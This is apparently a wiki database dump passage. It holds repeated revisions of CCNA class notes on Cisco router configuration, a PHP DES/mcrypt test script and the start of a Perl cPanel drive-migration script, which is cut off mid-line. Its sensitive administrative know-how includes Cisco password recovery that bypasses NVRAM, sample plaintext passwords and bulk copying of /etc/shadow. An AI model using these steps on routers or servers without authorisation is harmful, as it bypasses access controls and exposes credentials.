interface level 7 no shut\n\nshow privileges #show your current privilege level\n\nsh users 	#shows connected users and lines\n\nclear <line #>	#bumps that line\n\nctrl-shift-6 +x default escape sequence \n\nRouterB(config-line)#login\nRouterB(config-line)#escape-sequence 27      #sets escape seq. to ASCII 27 (Esc)\n\n\n\'\'\'RIP:\'\'\'\n\nRouterB(config)#router rip\nRouterB(config-router)#version 2 	#uses ver. 2, subnetting\nRouterB(config-router)#network 172.16.0.0\n\nsh ip route		# views routing tables\n\nsh ip protocol	# view info on RIP timers\n\ntracert		# view what route to dest is active\n\n\n\'\'\'Static Routes:\'\'\'\n\nAdd static routes for RouterB\n\nip route 172.16.10.1 255.255.255.0 172.16.20.1\nip route 172.16.50.1 255.255.255.0 172.16.40.2\n\nno ip route 172.16.10.1 255.255.255.0  # to remove route\n\n\nfloating static route:\n\nRouterB(config)#ip route 172.16.50.1 255.255.255.0 172.16.50.1 255.255.255.0 130\n\n\n\'\'\'Host Tables:\'\'\'\n\nRouterC(config)#ip host ra 172.16.10.1\nRouterC(config)#ip host rc 172.16.50.1\n\nsh hosts\n\nip name-server <ip address>		#configures DNS server IP\nno ip domain-lookup			#disables DNS lookup \n\n\n\'\'\'Alias:\'\'\'\n\nalias exec		#privileged mode\nalias configure	#Global Config mode\nalias interfaces	#interfece config mode\n\nsh aliases\n\nMisc:\n\nsh run | int s0	#greps for that int 		\nsh run int <int>	#shows running config for that int \n\n\n\'\'\'ACLs:\'\'\'\n\n(In real world they don\'t work well when applied to eth in or serial out interfaces.)\n\nExamples:\n\naccess-list 5 permit 172.16.30.1		#defines the rule\nline vty 0 4 					#selects interface \naccess-list 5 in				#set ACL and direction\n\nsh access list	#view ACL parameters\n\naccess-group needs to have an “ip” preface in the command:\nip access-group in\n\nno ip-access list 5		#removes list (if in interface mode only remove it from that interface and not globally.)\n\n\n\n== CCNA 3 ==','utf-8'),(17,'[[image:CiscoLogo.jpeg|frame|center]]\n\n\n\n== CCNA 1 ==\n\nCCNA 1 \n\n\'\'\'Rewiring your POD\'\'\'\n\nErase startup-config		clear config in NVRAM\nReload\n\nConfig t\nHostname RouterB\n\nWr				to save\n\n\'\'\'Password Recovery\'\'\'\n\nConfig register 0x2102	default value\n\nBits 0,1,2,3 Boot filed (2101 boot IOS ROM, 2102 full IOS (flash))\nBit 6 Ignore NVRAM\n\n0x2142			ignore NVRAM\n\nCtrl – break during post to get to ROM MON\n\n>o				Displays current config register\n\n>o/r 0x2142			Set to 2142 hex\n\n>I				Initialize\n\nOnce in IOS:\n\nCopy star run			copies NVRAM into running config\n\nConfig t\nConfig-register 0x2101\n\nSh run				shows current passwords\n\nChange password(s)\n\nCopy run star			save modified settings to NVRAM\n\nSh ver				verify config register is 0x2102 now\n\nPower off and on (or reload)\n\n\n\'\'\'Initial Router Config\'\'\'\n\nFive passwords:\n\n1.Virtual Terminal\nSh line to view line status or sh session to show current telnet session\n\nLine vty 0 4\nLogin\nPassword < >\n\n2.Console Password\n\nLine con 0\n<as above>\n\n3.Auxiliary password\n\nLine aux 0\n<as above>\n\n4.Privileged mode – level 15 commands\n\na.Enable password < >  Type 7 – weak password\nb.Enable secret <  >	MD5 \n\n5.Encrypt all passwords:\n\nService password-encrypt\n\n\n\'\'\'Global Config:\'\'\'\n\nEnable\nConfig t\nHostname RouterB\nNo ip domain-lookup	(stops IOS searching for a DNS server in case of typos)\nNo exec-timeout (disable telent time out period)\n\n\n\'\'\'Interface config:\'\'\'\n\n(config-if) int s0/0 or int s 0\nIp address 172.16.20.2 255.255.255.0\nBandwidth 56\n\nInt s 0/1\nIp address 172.16.40.1 255.255.255.0\nBandwidth 56\nNo shutdown\n\nShow controllers serial 0/0 to display DCE/DTE status\n\n\'\'\'Clock rate setting:\'\'\'\n\nInt s0/0\nClock rate 56000\nInt s0/1\nClock rate 56000\n\nSh run (review total config)\n\nSh int (status of interfaces)\n\nSh ip int brief (brief status)\n\nNo shutdown to bring an interface administratively up. If an interface is up but the line protocol is down there is a problem with the physical connection of clocking on either the DCE OR DTE side – it could be the other router’s settings.\n\n\'\'\'Clock setting:\'\'\'\n\nClock set 21:30:00 Jan 18 2007\nSh clock\n\n\'\'\'TFTP’ing between routers:\'\'\'\n\nAddress the e0 ports so they are on same lan\nVerify connectivity with ping\nOn router A: show flash (highlight & copy the IOS filename)\nOn router A: tftp-server flash: {IOS filename}\nOn client router(s): copy tftp flash\nWhen prompted, enter IOS filename\n\n\n\'\'\'Configuring DHCP\'\'\'\n\nConfig t\nService dhcp\nIp dhcp pool 10-net (10-net is whatever name you wish)\nNetwork 172.16.0.0 255.255.255.0\nRouter(dhcp-config)# default-router 172.16.x.1\nDns-server 172.16.x.3\nNetbios-name-server 72.16.x.4\nDomain-name xyz.net\nExit\n\nIp dhcp excluded-address 172.16.x.1 172.16.x.10\n(Will cause first ip to be 172.16.x.11\n\n\'\'\'Stopping / starting dhcp:\'\'\'\n\nNo service dhcp\nService dhcp (restarts)\n\n\n\'\'\'Address Resolution Protocol\'\'\'\n\nArp –g displays cache\nArp –s assigns static entry\nArp –d removes entry\n\n\n\'\'\'IP MULTICASTING:\'\'\'\n\nhttp://host50.ipowerweb.com/~netflow/livecaster.exe\nsong.mp3 should be in livecaster folder\nalso freeamp.exe and \n\nVerify you can ping the multicast server\n\nUser network spy and view packets, look for the multicast\n\nIn freeamp, enter in the URL box:\nRtp://<multicast ip address>:port number\n\n== CCNA 2 ==\n\n\nCCNA 2 NOTES:\n\n\n\'\'\'TFTP:\'\'\'\n\nsh flash\n\nTells filename, size, etc. \n\ncopy flash {run} tftp\n\nBooting from TFTP:\n\nRouter(config)#boot system tftp <IOS Filename> <IP address of TFTP server>\n\n\'\'\'CDP:\'\'\'\n\nRouterB(config)# int s0\nRouterB(Config-if)#cdp enabled\nRouterB(config-if)#int s1\nRouterB(Config-if)#cdp enabled\n\nsh cdp int #shows status of CDP advertisements on interfaces.\n\nsh cdp neighbors\n\nsh cdp neighbors detail\n\nrouter odr #enables ODR on hub router\n\n\'\'\'Configuring VTY Usernames & PW\'\'\'\n\nrouterB(config)#username admin privilege 15 password guru\n\nConfigure VTY to use a local database rather than password prompt:\n\nRouterB(config)# line vty 0 4\nRouterB(config-line)#no password\nRouterB(config-line)#login local\n\n\'\'\'Creating a new user level and defining access:\'\'\'\n\nRouterB(config)#username support privilage 7 password novice\nRouterB(config)#privilege exec level 7 show star\nRouterB(config)#privilege exec level 7 configure terminal\nRouterB(config)#privilege configure level 7 interface \nRouterB(config)#privilege interface level 7 no shut\n\nshow privileges #show your current privilege level\n\nsh users 	#shows connected users and lines\n\nclear <line #>	#bumps that line\n\nctrl-shift-6 +x default escape sequence \n\nRouterB(config-line)#login\nRouterB(config-line)#escape-sequence 27      #sets escape seq. to ASCII 27 (Esc)\n\n\n\'\'\'RIP:\'\'\'\n\nRouterB(config)#router rip\nRouterB(config-router)#version 2 	#uses ver. 2, subnetting\nRouterB(config-router)#network 172.16.0.0\n\nsh ip route		# views routing tables\n\nsh ip protocol	# view info on RIP timers\n\ntracert		# view what route to dest is active\n\n\n\'\'\'Static Routes:\'\'\'\n\nAdd static routes for RouterB\n\nip route 172.16.10.1 255.255.255.0 172.16.20.1\nip route 172.16.50.1 255.255.255.0 172.16.40.2\n\nno ip route 172.16.10.1 255.255.255.0  # to remove route\n\n\nfloating static route:\n\nRouterB(config)#ip route 172.16.50.1 255.255.255.0 172.16.50.1 255.255.255.0 130\n\n\n\'\'\'Host Tables:\'\'\'\n\nRouterC(config)#ip host ra 172.16.10.1\nRouterC(config)#ip host rc 172.16.50.1\n\nsh hosts\n\nip name-server <ip address>		#configures DNS server IP\nno ip domain-lookup			#disables DNS lookup \n\n\n\'\'\'Alias:\'\'\'\n\nalias exec		#privileged mode\nalias configure	#Global Config mode\nalias interfaces	#interfece config mode\n\nsh aliases\n\nMisc:\n\nsh run | int s0	#greps for that int 		\nsh run int <int>	#shows running config for that int \n\n\n\'\'\'ACLs:\'\'\'\n\n(In real world they don\'t work well when applied to eth in or serial out interfaces.)\n\nExamples:\n\naccess-list 5 permit 172.16.30.1		#defines the rule\nline vty 0 4 					#selects interface \naccess-list 5 in				#set ACL and direction\n\nsh access list	#view ACL parameters\n\naccess-group needs to have an “ip” preface in the command:\nip access-group in\n\nno ip-access list 5		#removes list (if in interface mode only remove it from that interface and not globally.)\n\n\n\n== CCNA 3 ==','utf-8'),(18,'__FORCETOC__     [[image:CiscoLogo.jpeg|frame|right]]\n\n Cisco Certified Network Associate\n class notes - St. Pete College \n\n\n== CCNA 1 == \n\nCCNA 1 \n\n\'\'\'Rewiring your POD\'\'\'\n\nErase startup-config		clear config in NVRAM\nReload\n\nConfig t\nHostname RouterB\n\nWr				to save\n\n\'\'\'Password Recovery\'\'\'\n\nConfig register 0x2102	default value\n\nBits 0,1,2,3 Boot filed (2101 boot IOS ROM, 2102 full IOS (flash))\nBit 6 Ignore NVRAM\n\n0x2142			ignore NVRAM\n\nCtrl – break during post to get to ROM MON\n\n>o				Displays current config register\n\n>o/r 0x2142			Set to 2142 hex\n\n>I				Initialize\n\nOnce in IOS:\n\nCopy star run			copies NVRAM into running config\n\nConfig t\nConfig-register 0x2101\n\nSh run				shows current passwords\n\nChange password(s)\n\nCopy run star			save modified settings to NVRAM\n\nSh ver				verify config register is 0x2102 now\n\nPower off and on (or reload)\n\n\n\'\'\'Initial Router Config\'\'\'\n\nFive passwords:\n\n1.Virtual Terminal\nSh line to view line status or sh session to show current telnet session\n\nLine vty 0 4\nLogin\nPassword < >\n\n2.Console Password\n\nLine con 0\n<as above>\n\n3.Auxiliary password\n\nLine aux 0\n<as above>\n\n4.Privileged mode – level 15 commands\n\na.Enable password < >  Type 7 – weak password\nb.Enable secret <  >	MD5 \n\n5.Encrypt all passwords:\n\nService password-encrypt\n\n\n\'\'\'Global Config:\'\'\'\n\nEnable\nConfig t\nHostname RouterB\nNo ip domain-lookup	(stops IOS searching for a DNS server in case of typos)\nNo exec-timeout (disable telent time out period)\n\n\n\'\'\'Interface config:\'\'\'\n\n(config-if) int s0/0 or int s 0\nIp address 172.16.20.2 255.255.255.0\nBandwidth 56\n\nInt s 0/1\nIp address 172.16.40.1 255.255.255.0\nBandwidth 56\nNo shutdown\n\nShow controllers serial 0/0 to display DCE/DTE status\n\n\'\'\'Clock rate setting:\'\'\'\n\nInt s0/0\nClock rate 56000\nInt s0/1\nClock rate 56000\n\nSh run (review total config)\n\nSh int (status of interfaces)\n\nSh ip int brief (brief status)\n\nNo shutdown to bring an interface administratively up. If an interface is up but the line protocol is down there is a problem with the physical connection of clocking on either the DCE OR DTE side – it could be the other router’s settings.\n\n\'\'\'Clock setting:\'\'\'\n\nClock set 21:30:00 Jan 18 2007\nSh clock\n\n\'\'\'TFTP’ing between routers:\'\'\'\n\nAddress the e0 ports so they are on same lan\nVerify connectivity with ping\nOn router A: show flash (highlight & copy the IOS filename)\nOn router A: tftp-server flash: {IOS filename}\nOn client router(s): copy tftp flash\nWhen prompted, enter IOS filename\n\n\n\'\'\'Configuring DHCP\'\'\'\n\nConfig t\nService dhcp\nIp dhcp pool 10-net (10-net is whatever name you wish)\nNetwork 172.16.0.0 255.255.255.0\nRouter(dhcp-config)# default-router 172.16.x.1\nDns-server 172.16.x.3\nNetbios-name-server 72.16.x.4\nDomain-name xyz.net\nExit\n\nIp dhcp excluded-address 172.16.x.1 172.16.x.10\n(Will cause first ip to be 172.16.x.11\n\n\'\'\'Stopping / starting dhcp:\'\'\'\n\nNo service dhcp\nService dhcp (restarts)\n\n\n\'\'\'Address Resolution Protocol\'\'\'\n\nArp –g displays cache\nArp –s assigns static entry\nArp –d removes entry\n\n\n\'\'\'IP MULTICASTING:\'\'\'\n\nhttp://host50.ipowerweb.com/~netflow/livecaster.exe\nsong.mp3 should be in livecaster folder\nalso freeamp.exe and \n\nVerify you can ping the multicast server\n\nUser network spy and view packets, look for the multicast\n\nIn freeamp, enter in the URL box:\nRtp://<multicast ip address>:port number\n\n== CCNA 2 ==\n\n\nCCNA 2 NOTES:\n\n\n\'\'\'TFTP:\'\'\'\n\nsh flash\n\nTells filename, size, etc. \n\ncopy flash {run} tftp\n\nBooting from TFTP:\n\nRouter(config)#boot system tftp <IOS Filename> <IP address of TFTP server>\n\n\'\'\'CDP:\'\'\'\n\nRouterB(config)# int s0\nRouterB(Config-if)#cdp enabled\nRouterB(config-if)#int s1\nRouterB(Config-if)#cdp enabled\n\nsh cdp int #shows status of CDP advertisements on interfaces.\n\nsh cdp neighbors\n\nsh cdp neighbors detail\n\nrouter odr #enables ODR on hub router\n\n\'\'\'Configuring VTY Usernames & PW\'\'\'\n\nrouterB(config)#username admin privilege 15 password guru\n\nConfigure VTY to use a local database rather than password prompt:\n\nRouterB(config)# line vty 0 4\nRouterB(config-line)#no password\nRouterB(config-line)#login local\n\n\'\'\'Creating a new user level and defining access:\'\'\'\n\nRouterB(config)#username support privilage 7 password novice\nRouterB(config)#privilege exec level 7 show star\nRouterB(config)#privilege exec level 7 configure terminal\nRouterB(config)#privilege configure level 7 interface \nRouterB(config)#privilege interface level 7 no shut\n\nshow privileges #show your current privilege level\n\nsh users 	#shows connected users and lines\n\nclear <line #>	#bumps that line\n\nctrl-shift-6 +x default escape sequence \n\nRouterB(config-line)#login\nRouterB(config-line)#escape-sequence 27      #sets escape seq. to ASCII 27 (Esc)\n\n\n\'\'\'RIP:\'\'\'\n\nRouterB(config)#router rip\nRouterB(config-router)#version 2 	#uses ver. 2, subnetting\nRouterB(config-router)#network 172.16.0.0\n\nsh ip route		# views routing tables\n\nsh ip protocol	# view info on RIP timers\n\ntracert		# view what route to dest is active\n\n\n\'\'\'Static Routes:\'\'\'\n\nAdd static routes for RouterB\n\nip route 172.16.10.1 255.255.255.0 172.16.20.1\nip route 172.16.50.1 255.255.255.0 172.16.40.2\n\nno ip route 172.16.10.1 255.255.255.0  # to remove route\n\n\nfloating static route:\n\nRouterB(config)#ip route 172.16.50.1 255.255.255.0 172.16.50.1 255.255.255.0 130\n\n\n\'\'\'Host Tables:\'\'\'\n\nRouterC(config)#ip host ra 172.16.10.1\nRouterC(config)#ip host rc 172.16.50.1\n\nsh hosts\n\nip name-server <ip address>		#configures DNS server IP\nno ip domain-lookup			#disables DNS lookup \n\n\n\'\'\'Alias:\'\'\'\n\nalias exec		#privileged mode\nalias configure	#Global Config mode\nalias interfaces	#interfece config mode\n\nsh aliases\n\nMisc:\n\nsh run | int s0	#greps for that int 		\nsh run int <int>	#shows running config for that int \n\n\n\'\'\'ACLs:\'\'\'\n\n(In real world they don\'t work well when applied to eth in or serial out interfaces.)\n\nExamples:\n\naccess-list 5 permit 172.16.30.1		#defines the rule\nline vty 0 4 					#selects interface \naccess-list 5 in				#set ACL and direction\n\nsh access list	#view ACL parameters\n\naccess-group needs to have an “ip” preface in the command:\nip access-group in\n\nno ip-access list 5		#removes list (if in interface mode only remove it from that interface and not globally.)\n\n\n== CCNA 3 ==\n\n\nMore exciting adventures to come . . .','utf-8'),(19,'__FORCETOC__     [[image:CiscoLogo.jpeg|frame|right]]\n\n Cisco Certified Network Associate\n class notes - St. Pete College \n\n\n== CCNA 1 == \n\n\'\'\'Networking Bascis\'\'\'\n\n\'\'\'Rewiring your POD\'\'\'\n\nErase startup-config		#clear config in NVRAM\nReload\n\nConfig t\nHostname RouterB\n\nWr				 #to save\n\n\'\'\'Password Recovery\'\'\'\n\nConfig register 0x2102	default value\n\nBits 0,1,2,3 Boot filed (2101 boot IOS ROM, 2102 full IOS (flash))\nBit 6 Ignore NVRAM\n\n0x2142			        #ignore NVRAM\n\nCtrl – break during post to get to ROM MON\n\n>o				#Displays current config register\n\n>o/r 0x2142			#Set to 2142 hex\n\n>I				#Initialize\n\nOnce in IOS:\n\nCopy star run			#copies NVRAM into running config\n\nConfig t\nConfig-register 0x2101\n\nSh run				#shows current passwords\n\nChange password(s)\n\nCopy run star			#save modified settings to NVRAM\n\nSh ver				#verify config register is 0x2102 now\n\nPower off and on (or \'reload\')\n\n\n\'\'\'Initial Router Config\'\'\'\n\nFive passwords:\n\n1.Virtual Terminal\nSh line to view line status or sh session to show current telnet session\n\nLine vty 0 4\nLogin\nPassword < >\n\n2.Console Password\n\nLine con 0\n<as above>\n\n3.Auxiliary password\n\nLine aux 0\n<as above>\n\n4.Privileged mode – level 15 commands\n\na.Enable password < >  Type 7 – weak password\nb.Enable secret <  >	MD5 \n\n5.Encrypt all passwords:\n\nService password-encrypt\n\n\n\'\'\'Global Config:\'\'\'\n\nEnable\nConfig t\nHostname RouterB\nNo ip domain-lookup	(stops IOS searching for a DNS server in case of typos)\nNo exec-timeout (disable telent time out period)\n\n\n\'\'\'Interface config:\'\'\'\n\n(config-if) int s0/0 or int s 0\nIp address 172.16.20.2 255.255.255.0\nBandwidth 56\n\nInt s 0/1\nIp address 172.16.40.1 255.255.255.0\nBandwidth 56\nNo shutdown\n\nShow controllers serial 0/0 to display DCE/DTE status\n\n\'\'\'Clock rate setting:\'\'\'\n\nInt s0/0\nClock rate 56000\nInt s0/1\nClock rate 56000\n\nSh run (review total config)\n\nSh int (status of interfaces)\n\nSh ip int brief (brief status)\n\nNo shutdown to bring an interface administratively up. If an interface is up but the line protocol is down there is a problem with the physical connection of clocking on either the DCE OR DTE side – it could be the other router’s settings.\n\n\'\'\'Clock setting:\'\'\'\n\nClock set 21:30:00 Jan 18 2007\nSh clock\n\n\'\'\'TFTP’ing between routers:\'\'\'\n\nAddress the e0 ports so they are on same lan\nVerify connectivity with ping\nOn router A: show flash (highlight & copy the IOS filename)\nOn router A: tftp-server flash: {IOS filename}\nOn client router(s): copy tftp flash\nWhen prompted, enter IOS filename\n\n\n\'\'\'Configuring DHCP\'\'\'\n\nConfig t\nService dhcp\nIp dhcp pool 10-net (10-net is whatever name you wish)\nNetwork 172.16.0.0 255.255.255.0\nRouter(dhcp-config)# default-router 172.16.x.1\nDns-server 172.16.x.3\nNetbios-name-server 72.16.x.4\nDomain-name xyz.net\nExit\n\nIp dhcp excluded-address 172.16.x.1 172.16.x.10\n(Will cause first ip to be 172.16.x.11\n\n\'\'\'Stopping / starting dhcp:\'\'\'\n\nNo service dhcp\nService dhcp (restarts)\n\n\n\'\'\'Address Resolution Protocol\'\'\'\n\nArp –g displays cache\nArp –s assigns static entry\nArp –d removes entry\n\n\n\'\'\'IP MULTICASTING:\'\'\'\n\nhttp://host50.ipowerweb.com/~netflow/livecaster.exe\nsong.mp3 should be in livecaster folder\nalso freeamp.exe and \n\nVerify you can ping the multicast server\n\nUser network spy and view packets, look for the multicast\n\nIn freeamp, enter in the URL box:\nRtp://<multicast ip address>:port number\n\n== CCNA 2 ==\n\n\'\'\'Routers and Routing Basics\'\'\'\n\n\'\'\'TFTP:\'\'\'\n\nsh flash\n\nTells filename, size, etc. \n\ncopy flash {run} tftp\n\nBooting from TFTP:\n\nRouter(config)#boot system tftp <IOS Filename> <IP address of TFTP server>\n\n\'\'\'CDP:\'\'\'\n\nRouterB(config)# int s0\nRouterB(Config-if)#cdp enabled\nRouterB(config-if)#int s1\nRouterB(Config-if)#cdp enabled\n\nsh cdp int #shows status of CDP advertisements on interfaces.\n\nsh cdp neighbors\n\nsh cdp neighbors detail\n\nrouter odr #enables ODR on hub router\n\n\'\'\'Configuring VTY Usernames & PW\'\'\'\n\nrouterB(config)#username admin privilege 15 password guru\n\nConfigure VTY to use a local database rather than password prompt:\n\nRouterB(config)# line vty 0 4\nRouterB(config-line)#no password\nRouterB(config-line)#login local\n\n\'\'\'Creating a new user level and defining access:\'\'\'\n\nRouterB(config)#username support privilage 7 password novice\nRouterB(config)#privilege exec level 7 show star\nRouterB(config)#privilege exec level 7 configure terminal\nRouterB(config)#privilege configure level 7 interface \nRouterB(config)#privilege interface level 7 no shut\n\nshow privileges #show your current privilege level\n\nsh users 	#shows connected users and lines\n\nclear <line #>	#bumps that line\n\nctrl-shift-6 +x default escape sequence \n\nRouterB(config-line)#login\nRouterB(config-line)#escape-sequence 27      #sets escape seq. to ASCII 27 (Esc)\n\n\n\'\'\'RIP:\'\'\'\n\nRouterB(config)#router rip\nRouterB(config-router)#version 2 	#uses ver. 2, subnetting\nRouterB(config-router)#network 172.16.0.0\n\nsh ip route		# views routing tables\n\nsh ip protocol	# view info on RIP timers\n\ntracert		# view what route to dest is active\n\n\n\'\'\'Static Routes:\'\'\'\n\nAdd static routes for RouterB\n\nip route 172.16.10.1 255.255.255.0 172.16.20.1\nip route 172.16.50.1 255.255.255.0 172.16.40.2\n\nno ip route 172.16.10.1 255.255.255.0  # to remove route\n\n\nfloating static route:\n\nRouterB(config)#ip route 172.16.50.1 255.255.255.0 172.16.50.1 255.255.255.0 130\n\n\n\'\'\'Host Tables:\'\'\'\n\nRouterC(config)#ip host ra 172.16.10.1\nRouterC(config)#ip host rc 172.16.50.1\n\nsh hosts\n\nip name-server <ip address>		#configures DNS server IP\nno ip domain-lookup			#disables DNS lookup \n\n\n\'\'\'Alias:\'\'\'\n\nalias exec		#privileged mode\nalias configure	#Global Config mode\nalias interfaces	#interfece config mode\n\nsh aliases\n\nMisc:\n\nsh run | int s0	#greps for that int 		\nsh run int <int>	#shows running config for that int \n\n\n\'\'\'ACLs:\'\'\'\n\n(In real world they don\'t work well when applied to eth in or serial out interfaces.)\n\nExamples:\n\naccess-list 5 permit 172.16.30.1		#defines the rule\nline vty 0 4 					#selects interface \naccess-list 5 in				#set ACL and direction\n\nsh access list	#view ACL parameters\n\naccess-group needs to have an “ip” preface in the command:\nip access-group in\n\nno ip-access list 5		#removes list (if in interface mode only remove it from that interface and not globally.)\n\n\n== CCNA 3 ==\n\n\'\'\'Switching Basics and Intermediate Routing\'\'\'\n\nMore exciting adventures to come . . .\n\n\n== CCNA 4 ==\n\n\'\'\'WAN Technologies\'\'\'','utf-8'),(20,'__FORCETOC__\n\n== Testing mcrypt ==\n\nThe script below came from http://www.herongyang.com/crypto/des_php_implementation_mcrypt.html\nand can be used to test the DES operation modes and stream cipher modes for the mcrypt library.\n\nchnmod to 755 and execute from shell with php scriptname. \n\nA sample of successful results are given below the script.\n\n<pre>\n\n<?php # des_mcrypt_operation_mode_test.php\n# Copyright (c) 2006 by Dr. Herong Yang, http://www.herongyang.com/\n# \n   $key = pack(\"H*\", \"0123456789ABCDEF\");\n   $iv = pack(\"H*\", \"1234567890ABCDEF\");\n   # \"Now is the time for all \"   \n   $plain_text = pack(\"H*\", \n      \"4E6F77206973207468652074696D6520666F7220616C6C20\");\n\n   $mode = MCRYPT_MODE_ECB;\n   $expected = pack(\"H*\", \n      \"3FA40E8A984D43156A271787AB8883F9893D51EC4B563B53\");\n   print(\"\\n\\nTest 1 - DES ECB 64-bit:\");\n   des_test($mode);\n\n   $mode = MCRYPT_MODE_CBC;\n   $expected = pack(\"H*\", \n      \"E5C7CDDE872BF27C43E934008C389C0F683788499A7C05F6\");\n   print(\"\\n\\nTest 2 - DES CBC 64-bit:\");\n   des_test($mode);\n\n   $mode = MCRYPT_MODE_CFB; # 8-bit\n   $expected = pack(\"H*\", \n      \"F31FDA07011462EE187F43D80A7CD9B5B0D290DA6E5B9A87\");\n   print(\"\\n\\nTest 3 - DES CFB 8-bit:\");\n   des_test($mode);\n\n   $mode = MCRYPT_MODE_OFB; # 8-bit\n   $expected = pack(\"H*\", \n      \"F34A2850C9C64985D684AD96D772E2F243EA499ABEE8AE95\");\n   print(\"\\n\\nTest 4 - DES OFB 8-bit:\");\n   des_test($mode);\n\nfunction des_test($mode) {\n   global $key, $iv, $plain_text, $expected;\n   $cipher = mcrypt_module_open(MCRYPT_DES, \'\', $mode, \'\');\n   mcrypt_generic_init($cipher, $key, $iv);\n   $cipher_text = mcrypt_generic($cipher, $plain_text);\n   mcrypt_generic_deinit($cipher);\n   mcrypt_module_close($cipher);\n   print(\"\\nThe key       : \".bin2Hex($key));\n   print(\"\\nThe IV        : \".bin2Hex($iv));\n   print(\"\\nThe plaintext : \".bin2Hex($plain_text));\n   print(\"\\nThe ciphertext: \".bin2Hex($cipher_text));\n   print(\"\\nThe expected  : \".bin2Hex($expected));\n}\n?>\n\n</pre>\n\nHere is a sample of successfull outpu:\n\n<pre>\n\nTest 1 - DES ECB 64-bit:\nThe key       : 0123456789abcdef\nThe IV        : 1234567890abcdef\nThe plaintext : 4e6f77206973207468652074696d6520666f7220616c6c20\nThe ciphertext: 3fa40e8a984d48156a271787ab8883f9893d51ec4b563b53\nThe expected  : 3fa40e8a984d43156a271787ab8883f9893d51ec4b563b53\n\nTest 2 - DES CBC 64-bit:\nThe key       : 0123456789abcdef\nThe IV        : 1234567890abcdef\nThe plaintext : 4e6f77206973207468652074696d6520666f7220616c6c20\nThe ciphertext: e5c7cdde872bf27c43e934008c389c0f683788499a7c05f6\nThe expected  : e5c7cdde872bf27c43e934008c389c0f683788499a7c05f6\n\nTest 3 - DES CFB 8-bit:\nThe key       : 0123456789abcdef\nThe IV        : 1234567890abcdef\nThe plaintext : 4e6f77206973207468652074696d6520666f7220616c6c20\nThe ciphertext: f31fda07011462ee187f43d80a7cd9b5b0d290da6e5b9a87\nThe expected  : f31fda07011462ee187f43d80a7cd9b5b0d290da6e5b9a87\n\nTest 4 - DES OFB 8-bit:\nThe key       : 0123456789abcdef\nThe IV        : 1234567890abcdef\nThe plaintext : 4e6f77206973207468652074696d6520666f7220616c6c20\nThe ciphertext: f34a2850c9c64985d684ad96d772e2f243ea499abee8ae95\nThe expected  : f34a2850c9c64985d684ad96d772e2f243ea499abee8ae95\n\n</pre>\n\nOutput looks very good. All 4 test cases match the expected ciphertext message documented in http://www.itl.nist.gov/fipspubs/fip81.htm\n\n\n== Other test scripts ==\n\nMore test scripts for blowfish, etc. can be found (on cpanel boxes) at:\n\n/root/installd/buildapache/php-4.4.7/ext/mcrypt/tests\n\nSame deal - just chmod 755 and execute from shell with php testscript.php','utf-8'),(21,'== Perl script for manual Cpanel drive to drive migration ==\n\n\nThis is the perl script that Frank wrote for performing a manual migration of cpanel accounts from an old drive to a new drive.\n\nIt will also migrate other config files such as httpd, my.cnf, etc.\n\nIt was tested by him and seemed to work pretty well. \n\n<pre>\n\n#!/usr/local/bin/perl\n# Check for drive name; quit if none specified\nif (!$ARGV[0]) { \n   print \"You must specify a device that contains the old filesystems\\n\"; \n   print \"Usage: cpanelmigration.pl disk\\n\";\n   exit 1;\n}\n\nif ($< != 0) {\n   print \"You must be root to do a cPanel migration\\n\"; \n   print \"Usage: cpanelmigration.pl disk\\n\";\n   exit 1;\n}\n\n\n# What drive has the old install on it? It\'s the only argument we take\n# get it below \n\nprint(\"\\n\\nChecking for partitions on $ARGV[0]\\n\\nPlease wait.\\n\\n\");\n\n# Let\'s get us a list of partitions to work with\n# we\'ll be sticking them in %devicesandlabels\n# better create it.\n\nmy %devicesandlabels;\n\nopen(FDISK_L, \"/sbin/sfdisk -d $ARGV[0]|\");\n   while (<FDISK_L>) {\n      if (/Id=83/) \n		{ \n		($device,$restofstring) = split; \n		$label = `/sbin/e2label $device`;\n		# e2label gives us output with a newline at the end\n		# this makes it go away, yes, so would chomp but this\n		# catches all kinds of whitespace.\n		$label =~ s/\\s+$//;\n		#print(\"$device has label $label\\n\");\n		$devicesandlabels{$label} = $device;\n		} \n   }\nclose(FDISK_L); \n\n# Create our mount point\nprint(\"Creating mount point /old\\n\\n\");\nsystem(\"/bin/mkdir /old\");\n\n# Mount the filesystems and let the user know about it. \nforeach $key (sort keys %devicesandlabels) {\n     system (\"/bin/mount -o ro $devicesandlabels{$key} /old$key\\n\");\n     print \"Mounted $devicesandlabels{$key} on /old$key\\n\";\n}\n\n# Now that things are mounted let\'s stop some services\n@services = (\"httpd\",\"cpanel\",\"mysql\",\"named\",\"exim\");\nforeach (@services) {\n  print(\"Stopping $_....\\n\\n\");\n  system(\"/etc/init.d/$_ stop\");\n}\n\n\n# Let\'s move the bulk of the stuff over now\n$rsync = \"/usr/bin/rsync -vrplogDtH\";\nmy %rsyncthese;\n$rsyncthese{\"/old/etc/cpupdate.conf\"} = \"/etc\";\n$rsyncthese{\"/old/usr/local/apache\"} = \"/usr/local\";\n$rsyncthese{\"/old/var/named\"} = \"/var\";\n$rsyncthese{\"/old/home/*\"} = \"/home\";\n$rsyncthese{\"/old/usr/local/cpanel\"} = \"/usr/local\";\n$rsyncthese{\"/old/var/lib/mysql\"} = \"/var/lib\";\n$rsyncthese{\"/old/var/cpanel\"} = \"/var\";\n$rsyncthese{\"/old/usr/share/ssl\"} = \"/usr/share\";\n$rsyncthese{\"/old/var/ssl\"} = \"/var\";\n$rsyncthese{\"/old/usr/local/cpanel/3rdparty/mailman\"} = \"/usr/local/cpanel/3rdparty\";\n$rsyncthese{\"/old/var/log/bandwidth\"} = \"/var/log\";\n$rsyncthese{\"/old/usr/local/frontpage\"} = \"/usr/local\";\n$rsyncthese{\"/old/var/spool/cron\"} = \"/var/\";\n$rsyncthese{\"/old/root/.my.cnf\"} = \"/root\";\n$rsyncthese{\"/old/etc/httpd/conf/httpd.conf\"} = \"/etc/httpd/conf\";\n$rsyncthese{\"/old/etc/sysconfig/network\"} = \"/etc/sysconfig\";\n\nforeach $key (sort keys %rsyncthese) {\n   print \"Moving $key to $rsyncthese{$key}\\n\";\n   system(\"$rsync $key $rsyncthese{$key}\");\n}\n\n# Get a lot of important stuff from /etc\nprint(\"Moving lots of important stuff from the old /etc to the new /etc\");\nsystem(\"$rsync /old/etc/secondarymx /old/etc/domainalias /old/etc/valiases /old/etc/vfilters /old/etc/exim* /old/etc/proftpd* /old/etc/pure-ftpd* /old/etc/passwd* /old/etc/group* /old/etc/*domain* /old/etc/*named* /old/etc/wwwacct.conf /old/etc/cpupdate.conf /old/etc/quota.conf /old/etc/shadow* 